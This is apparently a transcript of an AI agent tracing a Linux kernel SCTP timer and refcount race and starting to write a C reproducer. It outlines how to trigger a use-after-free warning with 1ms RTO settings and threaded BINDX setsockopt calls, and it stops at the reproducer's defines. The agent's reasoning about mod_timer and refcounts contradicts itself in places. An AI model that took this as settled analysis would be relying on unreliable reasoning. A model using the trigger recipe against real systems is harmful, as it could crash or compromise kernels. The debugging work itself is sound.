map[ContextFile:net/core/sock.c Name:release_sock]

map[SourceCode:3854:	void release_sock(struct sock *sk)
3855:	{
3856:		spin_lock_bh(&sk->sk_lock.slock);
3857:	
3858:		if (unlikely(sk->sk_backlog.tail))
3859:			__release_sock(sk);
3860:	
3861:		if (sk->sk_prot->release_cb) {
3862:			if (!tcp_release_cb_cond(sk))
3863:				sk->sk_prot->release_cb(sk);
3864:		}
3865:		sock_release_ownership(sk);
3866:		if (unlikely(waitqueue_active(&sk->sk_lock.wq)))
3867:			wake_up(&sk->sk_lock.wq);
3868:	
3869:		spin_unlock_bh(&sk->sk_lock.slock);
3870:	}
 SourceFile:net/core/sock.c]

gemini-3.1-pro-preview

							input: 35079
							output: 40
							thoughts: 477
						

**My Thought Process Unpacking the Socket Release and Timer Interactions**

Okay, so I've been digging into this `release_sock` function and its implications, and a few critical points have emerged. My initial observation was that `release_sock` begins by acquiring a `spin_lock_bh(&sk->sk_lock.slock)`. This immediately struck me as being identical to `bh_lock_sock(sk)`.

This realization is key: it means that `__release_sock` – the core logic within `release_sock` – is executing while holding the `bh_lock_sock(sk)`. Now, the crucial implication of holding `bh_lock_sock(sk)` is that the timer softirq *cannot* run concurrently. This is because, as I've confirmed, the timer softirq itself *also* attempts to acquire `bh_lock_sock(sk)` at its entry point:

```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
        // ...
```

So, if `__release_sock` is already running and holding `bh_lock_sock(sk)`, any attempt by the timer softirq to acquire it will result in a spin-wait. The timer softirq will simply block until `__release_sock` finishes its execution and releases the lock.

This brings me to the critical race condition: what if `__release_sock` *itself* triggers a `SCTP_CMD_TIMER_START`? If that happens, the timer softirq would then be blocked by the very lock held by the function that just initiated the timer. This would mean that `SCTP_CMD_TIMER_START` commands generated within `__release_sock` cannot run concurrently with the timer softirq itself.

Then, my mind immediately jumped to another possibility: is `SCTP_CMD_TIMER_START` generated *only* within `__release_sock`? I started tracing other paths. I looked at `sctp_bindx`. I saw that `sctp_bindx` calls `sctp_setsockopt_bindx`, which in turn calls `sctp_send_asconf_add_ip`. Following that chain, `sctp_send_asconf_add_ip` calls `sctp_send_asconf`, and `sctp_send_asconf` calls `sctp_primitive_ASCONF`. Crucially, `sctp_primitive_ASCONF` is where `sctp_do_sm(..., SCTP_PRIMITIVE_ASCONF, ...)` is called, and *that's* where `SCTP_CMD_TIMER_START` gets generated.

However, my attention was immediately drawn to *how* `sctp_setsockopt_bindx` is invoked. It's called from `sctp_setsockopt`. And the critical distinction I found is that `sctp_setsockopt` holds `lock_sock(sk)`, *not* `bh_lock_sock(sk)`. This difference is significant, and I need to re-examine `sctp_setsockopt` to fully understand the locking implications in that context. My initial assumption about the lock held by `sctp_setsockopt` was incorrect, and that requires further investigation.

map[ContextFile:net/sctp/socket.c Name:sctp_setsockopt]

map[SourceCode:4560:	/* API 6.2 setsockopt(), getsockopt()
4561:	 *
4562:	 * Applications use setsockopt() and getsockopt() to set or retrieve
4563:	 * socket options.  Socket options are used to change the default
4564:	 * behavior of sockets calls.  They are described in Section 7.
4565:	 *
4566:	 * The syntax is:
4567:	 *
4568:	 *   ret = getsockopt(int sd, int level, int optname, void __user *optval,
4569:	 *                    int __user *optlen);
4570:	 *   ret = setsockopt(int sd, int level, int optname, const void __user *optval,
4571:	 *                    int optlen);
4572:	 *
4573:	 *   sd      - the socket descript.
4574:	 *   level   - set to IPPROTO_SCTP for all SCTP options.
4575:	 *   optname - the option name.
4576:	 *   optval  - the buffer to store the value of the option.
4577:	 *   optlen  - the size of the buffer.
4578:	 */
4579:	static int sctp_setsockopt(struct sock *sk, int level, int optname,
4580:				   sockptr_t optval, unsigned int optlen)
4581:	{
4582:		void *kopt = NULL;
4583:		int retval = 0;
4584:	
4585:		pr_debug("%s: sk:%p, optname:%d\n", __func__, sk, optname);
4586:	
4587:		/* I can hardly begin to describe how wrong this is.  This is
4588:		 * so broken as to be worse than useless.  The API draft
4589:		 * REALLY is NOT helpful here...  I am not convinced that the
4590:		 * semantics of setsockopt() with a level OTHER THAN SOL_SCTP
4591:		 * are at all well-founded.
4592:		 */
4593:		if (level != SOL_SCTP) {
4594:			struct sctp_af *af = sctp_sk(sk)->pf->af;
4595:	
4596:			return af->setsockopt(sk, level, optname, optval, optlen);
4597:		}
4598:	
4599:		if (optlen > 0) {
4600:			/* Trim it to the biggest size sctp sockopt may need if necessary */
4601:			optlen = min_t(unsigned int, optlen,
4602:				       PAGE_ALIGN(struct_size_t(struct sctp_reset_streams,
4603:								srs_stream_list, USHRT_MAX)));
4604:			kopt = memdup_sockptr(optval, optlen);
4605:			if (IS_ERR(kopt))
4606:				return PTR_ERR(kopt);
4607:		}
4608:	
4609:		lock_sock(sk);
4610:	
4611:		switch (optname) {
4612:		case SCTP_SOCKOPT_BINDX_ADD:
4613:			/* 'optlen' is the size of the addresses buffer. */
4614:			retval = sctp_setsockopt_bindx(sk, kopt, optlen,
4615:						       SCTP_BINDX_ADD_ADDR);
4616:			break;
4617:	
4618:		case SCTP_SOCKOPT_BINDX_REM:
4619:			/* 'optlen' is the size of the addresses buffer. */
4620:			retval = sctp_setsockopt_bindx(sk, kopt, optlen,
4621:						       SCTP_BINDX_REM_ADDR);
4622:			break;
4623:	
4624:		case SCTP_SOCKOPT_CONNECTX_OLD:
4625:			/* 'optlen' is the size of the addresses buffer. */
4626:			retval = sctp_setsockopt_connectx_old(sk, kopt, optlen);
4627:			break;
4628:	
4629:		case SCTP_SOCKOPT_CONNECTX:
4630:			/* 'optlen' is the size of the addresses buffer. */
4631:			retval = sctp_setsockopt_connectx(sk, kopt, optlen);
4632:			break;
4633:	
4634:		case SCTP_DISABLE_FRAGMENTS:
4635:			retval = sctp_setsockopt_disable_fragments(sk, kopt, optlen);
4636:			break;
4637:	
4638:		case SCTP_EVENTS:
4639:			retval = sctp_setsockopt_events(sk, kopt, optlen);
4640:			break;
4641:	
4642:		case SCTP_AUTOCLOSE:
4643:			retval = sctp_setsockopt_autoclose(sk, kopt, optlen);
4644:			break;
4645:	
4646:		case SCTP_PEER_ADDR_PARAMS:
4647:			retval = sctp_setsockopt_peer_addr_params(sk, kopt, optlen);
4648:			break;
4649:	
4650:		case SCTP_DELAYED_SACK:
4651:			retval = sctp_setsockopt_delayed_ack(sk, kopt, optlen);
4652:			break;
4653:		case SCTP_PARTIAL_DELIVERY_POINT:
4654:			retval = sctp_setsockopt_partial_delivery_point(sk, kopt, optlen);
4655:			break;
4656:	
4657:		case SCTP_INITMSG:
4658:			retval = sctp_setsockopt_initmsg(sk, kopt, optlen);
4659:			break;
4660:		case SCTP_DEFAULT_SEND_PARAM:
4661:			retval = sctp_setsockopt_default_send_param(sk, kopt, optlen);
4662:			break;
4663:		case SCTP_DEFAULT_SNDINFO:
4664:			retval = sctp_setsockopt_default_sndinfo(sk, kopt, optlen);
4665:			break;
4666:		case SCTP_PRIMARY_ADDR:
4667:			retval = sctp_setsockopt_primary_addr(sk, kopt, optlen);
4668:			break;
4669:		case SCTP_SET_PEER_PRIMARY_ADDR:
4670:			retval = sctp_setsockopt_peer_primary_addr(sk, kopt, optlen);
4671:			break;
4672:		case SCTP_NODELAY:
4673:			retval = sctp_setsockopt_nodelay(sk, kopt, optlen);
4674:			break;
4675:		case SCTP_RTOINFO:
4676:			retval = sctp_setsockopt_rtoinfo(sk, kopt, optlen);
4677:			break;
4678:		case SCTP_ASSOCINFO:
4679:			retval = sctp_setsockopt_associnfo(sk, kopt, optlen);
4680:			break;
4681:		case SCTP_I_WANT_MAPPED_V4_ADDR:
4682:			retval = sctp_setsockopt_mappedv4(sk, kopt, optlen);
4683:			break;
4684:		case SCTP_MAXSEG:
4685:			retval = sctp_setsockopt_maxseg(sk, kopt, optlen);
4686:			break;
4687:		case SCTP_ADAPTATION_LAYER:
4688:			retval = sctp_setsockopt_adaptation_layer(sk, kopt, optlen);
4689:			break;
4690:		case SCTP_CONTEXT:
4691:			retval = sctp_setsockopt_context(sk, kopt, optlen);
4692:			break;
4693:		case SCTP_FRAGMENT_INTERLEAVE:
4694:			retval = sctp_setsockopt_fragment_interleave(sk, kopt, optlen);
4695:			break;
4696:		case SCTP_MAX_BURST:
4697:			retval = sctp_setsockopt_maxburst(sk, kopt, optlen);
4698:			break;
4699:		case SCTP_AUTH_CHUNK:
4700:			retval = sctp_setsockopt_auth_chunk(sk, kopt, optlen);
4701:			break;
4702:		case SCTP_HMAC_IDENT:
4703:			retval = sctp_setsockopt_hmac_ident(sk, kopt, optlen);
4704:			break;
4705:		case SCTP_AUTH_KEY:
4706:			retval = sctp_setsockopt_auth_key(sk, kopt, optlen);
4707:			break;
4708:		case SCTP_AUTH_ACTIVE_KEY:
4709:			retval = sctp_setsockopt_active_key(sk, kopt, optlen);
4710:			break;
4711:		case SCTP_AUTH_DELETE_KEY:
4712:			retval = sctp_setsockopt_del_key(sk, kopt, optlen);
4713:			break;
4714:		case SCTP_AUTH_DEACTIVATE_KEY:
4715:			retval = sctp_setsockopt_deactivate_key(sk, kopt, optlen);
4716:			break;
4717:		case SCTP_AUTO_ASCONF:
4718:			retval = sctp_setsockopt_auto_asconf(sk, kopt, optlen);
4719:			break;
4720:		case SCTP_PEER_ADDR_THLDS:
4721:			retval = sctp_setsockopt_paddr_thresholds(sk, kopt, optlen,
4722:								  false);
4723:			break;
4724:		case SCTP_PEER_ADDR_THLDS_V2:
4725:			retval = sctp_setsockopt_paddr_thresholds(sk, kopt, optlen,
4726:								  true);
4727:			break;
4728:		case SCTP_RECVRCVINFO:
4729:			retval = sctp_setsockopt_recvrcvinfo(sk, kopt, optlen);
4730:			break;
4731:		case SCTP_RECVNXTINFO:
4732:			retval = sctp_setsockopt_recvnxtinfo(sk, kopt, optlen);
4733:			break;
4734:		case SCTP_PR_SUPPORTED:
4735:			retval = sctp_setsockopt_pr_supported(sk, kopt, optlen);
4736:			break;
4737:		case SCTP_DEFAULT_PRINFO:
4738:			retval = sctp_setsockopt_default_prinfo(sk, kopt, optlen);
4739:			break;
4740:		case SCTP_RECONFIG_SUPPORTED:
4741:			retval = sctp_setsockopt_reconfig_supported(sk, kopt, optlen);
4742:			break;
4743:		case SCTP_ENABLE_STREAM_RESET:
4744:			retval = sctp_setsockopt_enable_strreset(sk, kopt, optlen);
4745:			break;
4746:		case SCTP_RESET_STREAMS:
4747:			retval = sctp_setsockopt_reset_streams(sk, kopt, optlen);
4748:			break;
4749:		case SCTP_RESET_ASSOC:
4750:			retval = sctp_setsockopt_reset_assoc(sk, kopt, optlen);
4751:			break;
4752:		case SCTP_ADD_STREAMS:
4753:			retval = sctp_setsockopt_add_streams(sk, kopt, optlen);
4754:			break;
4755:		case SCTP_STREAM_SCHEDULER:
4756:			retval = sctp_setsockopt_scheduler(sk, kopt, optlen);
4757:			break;
4758:		case SCTP_STREAM_SCHEDULER_VALUE:
4759:			retval = sctp_setsockopt_scheduler_value(sk, kopt, optlen);
4760:			break;
4761:		case SCTP_INTERLEAVING_SUPPORTED:
4762:			retval = sctp_setsockopt_interleaving_supported(sk, kopt,
4763:									optlen);
4764:			break;
4765:		case SCTP_REUSE_PORT:
4766:			retval = sctp_setsockopt_reuse_port(sk, kopt, optlen);
4767:			break;
4768:		case SCTP_EVENT:
4769:			retval = sctp_setsockopt_event(sk, kopt, optlen);
4770:			break;
4771:		case SCTP_ASCONF_SUPPORTED:
4772:			retval = sctp_setsockopt_asconf_supported(sk, kopt, optlen);
4773:			break;
4774:		case SCTP_AUTH_SUPPORTED:
4775:			retval = sctp_setsockopt_auth_supported(sk, kopt, optlen);
4776:			break;
4777:		case SCTP_ECN_SUPPORTED:
4778:			retval = sctp_setsockopt_ecn_supported(sk, kopt, optlen);
4779:			break;
4780:		case SCTP_EXPOSE_POTENTIALLY_FAILED_STATE:
4781:			retval = sctp_setsockopt_pf_expose(sk, kopt, optlen);
4782:			break;
4783:		case SCTP_REMOTE_UDP_ENCAPS_PORT:
4784:			retval = sctp_setsockopt_encap_port(sk, kopt, optlen);
4785:			break;
4786:		case SCTP_PLPMTUD_PROBE_INTERVAL:
4787:			retval = sctp_setsockopt_probe_interval(sk, kopt, optlen);
4788:			break;
4789:		default:
4790:			retval = -ENOPROTOOPT;
4791:			break;
4792:		}
4793:	
4794:		release_sock(sk);
4795:		kfree(kopt);
4796:		return retval;
4797:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 39725
							output: 47
							thoughts: 6027
						

**A Deep Dive into the SCTP ASCONF Timer Race**

Okay, let me walk you through my thought process as I unravel this SCTP ASCONF timer race condition. It's quite intricate, involving the interplay of socket locking, timer management, and concurrent CPU execution.

My initial realization was stark: `sctp_setsockopt` acquires `lock_sock(sk)` but *not* `bh_lock_sock(sk)`. This immediately flagged `sctp_setsockopt_bindx` as a critical entry point. Since `sctp_setsockopt_bindx` ultimately calls functions like `sctp_send_asconf`, `sctp_primitive_ASCONF`, `sctp_do_sm`, and `sctp_cmd_interpreter`, I knew that all these operations were happening under `lock_sock(sk)` but without the protection of `bh_lock_sock(sk)`.

The crucial piece of the puzzle then emerged: `sctp_cmd_interpreter` processes `SCTP_CMD_TIMER_START`. Because `bh_lock_sock(sk)` isn't held, the timer softirq has the potential to run concurrently on another CPU. When this timer softirq does run, it *does* take `bh_lock_sock(sk)`. And this is where the plot thickens.

Since the user process (CPU 0) is holding `lock_sock(sk)`, the timer softirq (on CPU 1) will observe that `sock_owned_by_user(sk)` is `true`. The code I'm looking at explicitly shows this check:

```c
    bh_lock_sock(sk);
    if (sock_owned_by_user(sk)) {
        /* Try again later.  */
        if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
            sctp_association_hold(asoc);
        goto out_unlock;
    }
```

This is the pivot. If `sock_owned_by_user(sk)` is true, the timer softirq reschedules the timer using `mod_timer` and then returns. Now, the behavior of `mod_timer` becomes critical. If `mod_timer` returns `1` (indicating the timer was pending and was modified, rather than being cancelled and replaced), it *doesn't* call `sctp_association_hold(asoc)`. Instead, it proceeds to `out_unlock` and, crucially, calls `sctp_association_put(asoc)`.

This is the race! Let's trace it, focusing on the reference count of the association (`asoc`).

**CPU 0 (User Process):**
Initiates a `sctp_bindx` call, which eventually leads to `sctp_cmd_interpreter` executing `SCTP_CMD_TIMER_START`.
It calls `timer_pending(timer)`.

**CPU 1 (Timer Softirq):**
The timer has expired and is dequeued by the timer core. It then calls `sctp_generate_t4_rto_event` and subsequently `sctp_generate_timeout_event`.

Now, consider the race window between CPU 0's `timer_pending` and its subsequent `timer_reduce` call.

**Scenario 1: `timer_pending` returns `FALSE` on CPU 0.**
If CPU 0 calls `timer_pending(timer)` *after* CPU 1's timer core has dequeued the timer, `timer_pending` will return `FALSE`. Consequently, CPU 0 *will* call `sctp_association_hold(asoc)`, incrementing the association's reference count. It then calls `timer_reduce`, which will enqueue the timer.
Next, CPU 1 takes `bh_lock_sock(sk)`, sees `sock_owned_by_user(sk) == true`, and calls `mod_timer`. Since CPU 0 just enqueued it, `mod_timer` returns `1`. CPU 1 skips `sctp_association_hold(asoc)` and calls `sctp_association_put(asoc)`, decrementing the reference count.
In this sequence, CPU 0 incremented, and CPU 1 decremented. The net change to the reference count is zero. No underflow.

**Scenario 2: `timer_pending` returns `TRUE` on CPU 0.**
This is the problematic scenario. If CPU 0 calls `timer_pending(timer)` *before* the timer core on CPU 1 has dequeued the timer, `timer_pending` will return `TRUE`. CPU 0 will then *skip* `sctp_association_hold(asoc)`.
Immediately after, CPU 1's timer core dequeues the timer.
Then, CPU 0 proceeds to `timer_reduce`. Since the timer is now dequeued, `timer_reduce` enqueues it.
CPU 1 then takes `bh_lock_sock(sk)`, sees `sock_owned_by_user(sk) == true`, and calls `mod_timer`. Since CPU 0 just enqueued the timer, `mod_timer` returns `1`.
CPU 1 skips `sctp_association_hold(asoc)`.
Finally, CPU 1 calls `sctp_association_put(asoc)`, decrementing the reference count.

In this second scenario, CPU 0 *skipped* holding a reference (it would have if `timer_pending` was false), and CPU 1 *dropped* a reference. This results in a net change of -1 to the reference count. **This is the refcount underflow!**

The core of the race is the narrow window between `timer_pending` and `timer_reduce` on CPU 0, where the timer expiration event on CPU 1 can occur.

To trigger this, I considered several factors:

1.  **Small RTO Timer:** Setting the RTO timer to a very small value, like 1ms, is essential to increase the probability of the timer expiring within this critical window.

2.  **Frequent `sctp_bindx` Calls:** Repeatedly calling `sctp_bindx` is key. While `lock_sock(sk)` serializes calls from the *same* thread or process, having multiple threads (or a very tight loop) constantly acquiring and releasing `lock_sock` ensures that the user process is frequently interacting with the SCTP state. Each `sctp_bindx` call that results in sending an ASCONF will initiate the timer.

3.  **The `timer_reduce` Behavior:** This was a crucial insight. The `timer_reduce` function, which is called by the user process, is designed to *only* reduce the timer's expiration time if the new expiration is earlier than the current one. When the timer softirq hits the `sock_owned_by_user(sk) == true` path, it reschedules the timer for `jiffies + HZ/20` (approximately 50ms). However, if a subsequent `sctp_bindx` call (from the user process) occurs before this 50ms expires, `timer_reduce` will be called again with the desired short timeout (e.g., 1ms). Since 1ms is much shorter than 50ms, `timer_reduce` will successfully reset the timer back to 1ms. This means the timer will constantly be scheduled for short intervals, making it very likely to expire in the race window, even if the timer softirq repeatedly reschedules it for longer periods.

Therefore, the reproducer strategy is clear: establish an SCTP association, set the RTO to 1ms, and then spam `sctp_bindx` (ADD and REM addresses) in a tight loop from multiple threads. This will flood the system with timer start/restart operations, keeping the timer very short and increasing the probability that it expires precisely when `timer_pending` is checked by the user process, leading to the observed race condition. I also noted that directly using the `SCTP_SOCKOPT_BINDX_ADD` and `SCTP_SOCKOPT_BINDX_REM` `setsockopt` calls would be more robust than relying on `libsctp`.

log-in to see details

map[ContextFile:include/uapi/linux/sctp.h Name:SCTP_SOCKOPT_BINDX_ADD]

map[SourceCode: SourceFile:]

gemini-3.1-pro-preview

							input: 45804
							output: 43
							thoughts: 18
						

**My Thought Process on Locating SCTP Bind Extensions**

My immediate inclination is to search for the specific socket option that enables adding multiple addresses to an SCTP socket. Therefore, I'll perform a `grep` operation for `SCTP_SOCKOPT_BINDX_ADD`. This is a direct and efficient way to pinpoint the relevant code or configuration setting that facilitates binding to more than one address for an SCTP connection.

map[Expression:SCTP_SOCKOPT_BINDX_ADD PathPrefix:include/uapi/linux/sctp.h]

map[Output:include/uapi/linux/sctp.h=60=typedef __s32 sctp_assoc_t;
--
include/uapi/linux/sctp.h-112- */
include/uapi/linux/sctp.h:113:#define SCTP_SOCKOPT_BINDX_ADD	100	/* BINDX requests for adding addrs */
include/uapi/linux/sctp.h-114-#define SCTP_SOCKOPT_BINDX_REM	101	/* BINDX requests for removing addrs. */
]

gemini-3.1-pro-preview

							input: 46001
							output: 39
							thoughts: 34
						

**A Deep Dive into SCTP RTO Configuration**

Right, so the immediate thought is to scrutinize the values associated with `100` and `101`. These likely represent key parameters or flags within the SCTP protocol stack, and my intuition is telling me they're critical for understanding the current state or behavior of an SCTP association. Following that, my attention is immediately drawn to `SCTP_RTOINFO`. The question "is it 0?" is paramount. This isn't just a casual inquiry; it signifies a potential area of concern or a specific operational mode. If `SCTP_RTOINFO` is indeed zero, it strongly suggests that the Retransmission Time Out (RTO) mechanism might be disabled, uninitialized, or operating under default conditions that deviate from what one might expect for an active and robust connection. This could have significant implications for how the system handles packet loss and retransmissions, potentially impacting performance and reliability. Therefore, the next logical step, as indicated by "Let's check," is to investigate the underlying data structures and system configurations that define `SCTP_RTOINFO` to ascertain its true value and the implications thereof.

map[Expression:SCTP_RTOINFO PathPrefix:include/uapi/linux/sctp.h]

map[Output:include/uapi/linux/sctp.h=60=typedef __s32 sctp_assoc_t;
--
include/uapi/linux/sctp.h-68- */
include/uapi/linux/sctp.h:69:#define SCTP_RTOINFO	0
include/uapi/linux/sctp.h-70-#define SCTP_ASSOCINFO  1
--
include/uapi/linux/sctp.h=702=typedef enum sctp_sn_error {
--
include/uapi/linux/sctp.h-712-/*
include/uapi/linux/sctp.h:713: * 7.1.1 Retransmission Timeout Parameters (SCTP_RTOINFO)
include/uapi/linux/sctp.h-714- *
]

gemini-3.1-pro-preview

							input: 46280
							output: 43
							thoughts: 31
						

**My Thought Process**

Okay, so I'm looking at this and the immediate observation that jumps out at me is that `SCTP_RTOINFO` is currently reporting a value of `0`. This isn't just a data point; it's a signal, and one that immediately prompts a deeper dive. My mind automatically shifts to "what does this `0` *mean* in this context?" and that inevitably leads me to the underlying data structure itself. I need to understand the composition of `SCTP_RTOINFO` to properly interpret the `0`. What are its fields? What are the expected ranges or typical values for those fields? Without that structural understanding, the `0` is just an enigmatic number. So, my next logical step, and what I'm actively thinking about right now, is to retrieve and examine the definition of the `SCTP_RTOINFO` structure.

map[ContextFile:include/uapi/linux/sctp.h Name:sctp_rtoinfo]

map[Fields:[map[Name:srto_assoc_id OffsetBits:0 SizeBits:32] map[Name:srto_initial OffsetBits:32 SizeBits:32] map[Name:srto_max OffsetBits:64 SizeBits:32] map[Name:srto_min OffsetBits:96 SizeBits:32]]]

gemini-3.1-pro-preview

							input: 46407
							output: 41
							thoughts: 2227
						

**My Thought Process on the SCTP `sctp_rtoinfo` and Use-After-Free Vulnerability**

Okay, I've been digging into this SCTP vulnerability, and the initial focus on `sctp_rtoinfo` and its fields (`srto_assoc_id`, `srto_initial`, `srto_max`, `srto_min`), all 32-bit integers, was just the starting point. My real goal is to understand how we arrive at this `refcount_t: addition on 0; use-after-free` condition.

I've been refining a reproducer, and it involves setting up a server and client using SCTP. I noticed that `SOL_SCTP` is often defined as 132, the same as `IPPROTO_SCTP`. It's good practice to define it explicitly if it might not be present.

The core of the reproducer involves a server that binds to an address and listens. Crucially, I'm setting `SCTP_RTOINFO` on the server socket with very low RTO values (1ms for initial, min, and max). This is a common tactic to accelerate certain SCTP events, potentially making race conditions more apparent. I'm also enabling ASCONF (`addip_enable` and `addip_noauth_enable`) via `/proc/sys/net/sctp`, as this often involves dynamic address management and can be a source of complexity.

Then, I create a client socket, also setting `SCTP_RTOINFO` to these aggressive values. The client then attempts to `connect` to the server. The interesting part is where I spawn multiple client threads. Each of these threads repeatedly calls `setsockopt` with `SCTP_SOCKOPT_BINDX_ADD` and `SCTP_SOCKOPT_BINDX_REM` on the client's file descriptor. This is where I suspect the core issue is triggered – hammering the `BINDX` operations, which are known to interact with association state and timers.

Now, about that warning: `refcount_t: addition on 0; use-after-free`. This is the key. It tells me that a `refcount_inc` or a similar increment operation was attempted on a reference counter that was already at zero. This is fundamentally wrong because if the reference count is zero, it implies the object it's tracking should have already been freed.

My initial thought was that an underflow was happening, where the reference count dropped below zero. But the warning specifically says "addition on 0," not "underflow." This strongly suggests that the association was freed (its refcount reached zero), but then a subsequent operation tried to *hold* the association, effectively incrementing its refcount from zero.

So, how does an association get freed prematurely? The typical path is when `sctp_association_put` is called and `refcount_dec_and_test` returns true, leading to `sctp_association_destroy`. This happens when the last reference to the association is released.

My suspicion is that a timer event is firing *after* the association has been freed, but *before* its memory is completely reclaimed or its pointers are fully nulled out. Specifically, I'm looking at `sctp_cmd_timer_start` within `sctp_cmd_interpreter`. If a timer is not pending, the code calls `sctp_association_hold`, which in turn calls `refcount_inc`. If, by this point, the association's refcount has already dropped to zero due to other operations (perhaps related to the rapid `BINDX` calls or a timer softirq mishandling a reference), then calling `refcount_inc` would result in the "addition on 0" warning.

The "use-after-free" part of the warning is where the real danger lies. If the association is freed, but the code proceeds to access it, that's a use-after-free. I'm hypothesizing that `sctp_bindx` might be involved here. It holds the socket lock and operates on the association list. If the association is freed and removed from the socket's list, `sctp_bindx` might still attempt to access it if it had a stale pointer or if the list manipulation itself has a race.

However, if `sctp_association_destroy` correctly removes the association from the socket's list, how could `sctp_bindx` possibly access it? I need to examine the exact sequence of events within `sctp_association_destroy` and how it interacts with the socket's internal structures and locks. It's possible that the freed association's memory is still being pointed to by something within the socket's context, or that the list removal isn't atomic with other operations. The fact that `sctp_bindx` is mentioned suggests it's a likely candidate for the operation that then triggers the use-after-free after the association has been freed due to the refcount reaching zero prematurely.

map[ContextFile:net/sctp/associola.c Name:sctp_association_destroy]

map[SourceCode: 399:	/* Cleanup and free up an association. */
 400:	static void sctp_association_destroy(struct sctp_association *asoc)
 401:	{
 402:		if (unlikely(!asoc->base.dead)) {
 403:			WARN(1, "Attempt to destroy undead association %p!\n", asoc);
 404:			return;
 405:		}
 406:	
 407:		sctp_endpoint_put(asoc->ep);
 408:		sock_put(asoc->base.sk);
 409:	
 410:		if (asoc->assoc_id != 0) {
 411:			spin_lock_bh(&sctp_assocs_id_lock);
 412:			idr_remove(&sctp_assocs_id, asoc->assoc_id);
 413:			spin_unlock_bh(&sctp_assocs_id_lock);
 414:		}
 415:	
 416:		WARN_ON(atomic_read(&asoc->rmem_alloc));
 417:	
 418:		kfree_rcu(asoc, rcu);
 419:		SCTP_DBG_OBJCNT_DEC(assoc);
 420:	}
 SourceFile:net/sctp/associola.c]

gemini-3.1-pro-preview

							input: 49041
							output: 1279
							thoughts: 2790
						

**The Root Cause of the `refcount_t: addition on 0` Warning in SCTP**

I've been digging into this `refcount_t: addition on 0` warning within the SCTP module, and I think I've finally pieced together the exact race condition. It all stems from a subtle interaction between `sctp_association_destroy`, `sctp_association_free`, `sctp_association_put`, and importantly, timer rescheduling.

Here's my thought process:

Initially, I looked at `sctp_association_destroy`. I noticed it checks `asoc->base.dead`. If `asoc->base.dead` is *false*, it doesn't actually free the association; it just WARNs and returns. This immediately told me that for the refcount warning to occur without a subsequent use-after-free (which KASAN would likely catch), the association must *not* have been freed yet, and `asoc->base.dead` must be *false* when the refcount operation happens.

I then traced where `asoc->base.dead` is set. It's set to `true` within `sctp_association_free`. This function is called when an association is truly being cleaned up.

My first hypothesis was that if our bug caused the refcount to underflow (say, from 2 to 0 prematurely) and `sctp_association_put` was called when `asoc->base.dead` was *false*, then `sctp_association_destroy` would be called. If `asoc->base.dead` was indeed false, it would warn and leak the memory. However, the bug report *doesn't* show the expected "Attempt to destroy undead association" warning. Instead, it *only* shows the `refcount_t: addition on 0` warning. This suggested that `asoc->base.dead` might actually be true when `sctp_association_destroy` is invoked, but the refcount operation still fails.

This led me to reconsider the refcount decrement path. The key function is `refcount_dec_and_test`. If this drops the refcount to zero, it then calls `sctp_association_destroy`. If `dead` is false at this point, we get the leak scenario again.

The crucial insight came from looking at how the `refcount_t: addition on 0` warning itself is triggered. This warning occurs specifically in `refcount.c` when `refcount_inc` (or `sctp_association_hold`, which uses `refcount_inc`) is called on a refcount that is already zero. So, the sequence must be: the refcount goes to zero, and *then* an attempt is made to increment it.

When would an attempt be made to increment the refcount when it's already zero? This is where the timers come into play. I recalled the common pattern where timers might reschedule themselves. Specifically, `sctp_association_hold(asoc)` is called when `mod_timer` returns 0, indicating the timer was successfully rescheduled.

```c
// From the code:
if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
    sctp_association_hold(asoc);
```

If the refcount has just dropped to 0 (meaning the association is no longer held by any active references), and then the timer fires and calls `sctp_association_hold` (because `mod_timer` returned 0), this `sctp_association_hold` will perform a `refcount_inc`, triggering the `addition on 0` warning!

The stack trace from the bug report was instrumental:
```
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
```
Looking at `net/sctp/sm_sideeffect.c:284`, I found exactly this pattern:
```c
 283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
 284:			sctp_association_hold(asoc);
```
This confirms it. The warning happens when a timer fires, the association is no longer actively referenced (refcount is 0), and the timer logic attempts to re-hold the association.

So, the precise sequence to trigger the warning is:

1.  **Initial State:** The association has a valid refcount (e.g., 2).
2.  **Race Condition 1:** A timer is enqueued (by some event, let's say a softirq), but crucially, *without* an explicit `sctp_association_hold` beforehand. Simultaneously, a legitimate refcount decrement happens (e.g., from a user-space operation finishing). The refcount drops.
3.  **Race Condition 2 (Repetition):** This race occurs again. Another timer enqueue without a hold, and another refcount decrement. The refcount now drops to 0.
4.  **Timer Fires:** The timer that was enqueued in step 2 (or 3) now fires.
5.  **Timer Softirq Execution:** The timer softirq runs. It checks if the socket is owned by the user (`sock_owned_by_user(sk)`). In our case, with continuous `sctp_bindx` operations from user space, this will likely be true.
6.  **Timer Rescheduling:** Because `sock_owned_by_user(sk)` is true, `mod_timer` is called to reschedule the timer for later. Since the timer has already fired and is being managed, `mod_timer` likely returns 0.
7.  **The `sctp_association_hold` Call:** The code then executes `sctp_association_hold(asoc)`.
8.  **The Warning:** Since the refcount is currently 0, `sctp_association_hold` (which calls `refcount_inc`) triggers the `refcount_t: addition on 0` warning.

The key is that `asoc->base.dead` is likely still `false` because the association hasn't been fully deallocated yet. The refcount has hit zero, but the timer logic is still attempting to keep it alive. The warning is precisely because we're trying to add a reference to an object whose refcount has already legitimately dropped to zero, indicating a logic error in refcounting or timer management.

My reproducer, which continuously spams `sctp_bindx` (making `sock_owned_by_user` frequently true) and uses very short RTOs to ensure timers fire rapidly, should be highly effective at exposing this race condition. The `sctp_bindx` operations will create contention, and the short RTOs will ensure timer-related paths are hit repeatedly, making it extremely probable for the refcount to hit zero at the exact moment a timer tries to reschedule and re-hold the association.

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#define SCTP_RTOINFO 0
#define SCTP_SOCKOPT_BINDX_ADD 100
#define SCTP_SOCKOPT_BINDX_REM 101

